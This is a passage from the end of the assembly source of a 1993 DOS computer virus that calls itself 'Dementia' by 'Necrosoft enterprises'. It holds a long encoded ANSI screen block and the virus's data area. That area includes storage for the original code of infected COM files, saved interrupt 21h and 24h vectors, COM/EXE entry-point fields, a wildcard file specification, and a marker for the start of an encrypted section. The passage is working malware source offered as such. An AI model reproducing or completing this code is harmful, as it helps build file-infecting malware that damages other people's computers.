db 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h
|
|
db 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h
|
|
db 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh
|
|
db 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh
|
|
db 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h
|
|
db 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh
|
|
db 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h
|
|
db 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh
|
|
db 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h
|
|
db 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh
|
|
db 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h
|
|
db 05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h
|
|
db 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h
|
|
db 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch
|
|
db 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h
|
|
db 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh
|
|
db 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h
|
|
db 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h
|
|
db 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h
|
|
db 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h
|
|
db 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h
|
|
db 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h
|
|
db 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh
|
|
db 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h
|
|
db 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h
|
|
db 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h
|
|
db 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh
|
|
db 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah
|
|
db 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h
|
|
db 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h
|
|
db 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h
|
|
db 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh
|
|
db 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh
|
|
db 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh
|
|
db 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch
|
|
db 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h
|
|
db 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h
|
|
db 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h
|
|
db 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah
|
|
db 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h
|
|
db 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh
|
|
db 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h
|
|
db 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h
|
|
db 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh
|
|
db 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h
|
|
db 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h
|
|
db 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h
|
|
db 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h
|
|
db 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h
|
|
db 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h
|
|
db 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh
|
|
db 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh
|
|
db 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh
|
|
db 05h,6bh,0ah,20h,07h
|
|
ansi_end:
|
|
file_end:
|
|
temp_file db '!#TEMP#!',00h ; Temporary file
|
|
request_iva db 'REQUEST.IVA',00h ; REQUEST.IVA
|
|
filename db 'RECEIPT.IVA ',00h ; Filename
|
|
receipt_iva db 'RECEIPT.IVA ',00h ; RECEIPT.IVA
|
|
callfast_com db 'CALLFAST.COM',00h ; CALLFAST.COM
|
|
file_specifi db '*.*',00h ; File specification
|
|
origin_code db 0cdh,21h,? ; Original code of infected COM file
|
|
int21_addr dd ? ; Address of interrupt 21h
|
|
int24_addr dd ? ; Address of interrupt 24h
|
|
com_or_exe db 00h ; COM or EXE executable
|
|
stack_ptr dw ? ; Original stack pointer
|
|
stack_seg dw ? ; Original stack segment
|
|
instruct_ptr dw ? ; Original instruction pointer
|
|
code_seg dw ? ; Original code segment
|
|
initial_ip dw ? ; Initial IP
|
|
initial_cs dw ? ; Initial CS relative to start of ...
|
|
code_seg_ dw ? ; Code segment
|
|
tst_filesize dw 00h ; Test or don't test filesize
|
|
db 'Dementia]',00h
|
|
db 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h
|
|
db 'I am the man that walks alone',0dh,0ah
|
|
db 'And when I''m walking a dark road',0dh,0ah
|
|
db 'At night or strolling through the park',0dh,0ah
|
|
db 'When the light begins to change',0dh,0ah
|
|
db 'I sometimes feel a little strange',0dh,0ah
|
|
db 'A little anxious when it''s dark',0dh,0ah,00h
|
|
crypt_begin:
|
|
code_end:
|
|
data_end:
|
|
|
|
end code_begin
|